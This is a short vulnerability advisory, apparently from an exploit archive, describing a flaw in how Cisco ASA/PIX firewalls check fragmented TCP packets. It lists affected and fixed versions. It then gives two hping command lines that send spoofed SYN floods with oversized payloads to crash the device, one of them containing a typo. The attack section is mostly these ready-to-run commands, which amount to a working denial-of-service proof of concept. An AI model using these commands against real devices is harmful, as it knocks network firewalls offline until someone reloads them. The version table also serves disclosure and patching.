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Cisco ASA/PIX Appliances Fail to Properly Check Fragmented TCP Packets
[====================================================================== Cisco ASA/PIX Appliances Fail to Properly Check Fragmented TCP Packets ====================================================================== The vulnerability affects the following Cisco ASA/PIX versions: Release Fixed in: -------- --------- 6.3 Not affected 7.0 7.0(8.6) 7.1 7.1(2.81) 7.2 7.2(4.30) 8.0 8.0(4.28) 8.1 8.1(2.19) 8.2 8.2(0.230) ----------------------------- Triggering the vuln ------------------------------ /*Utilize 1550 blocks on an ASA to trigger a crash...*/ hping --fast -p 22 -w 1518 -S -d 1480 -a 10.22.1.1 10.22.1.2 /* Trigger the vuln a bit faster */ hping --fast -p 22 -w 1518 -S -d 26201 .a 10.22.1.1 10.22.1.2 Reloading the device is the only way to recover from the denial of service. | Daniel Uriah Clemens "Moments of sorrow are moments of sobriety" # 0day.today [2024-09-28] #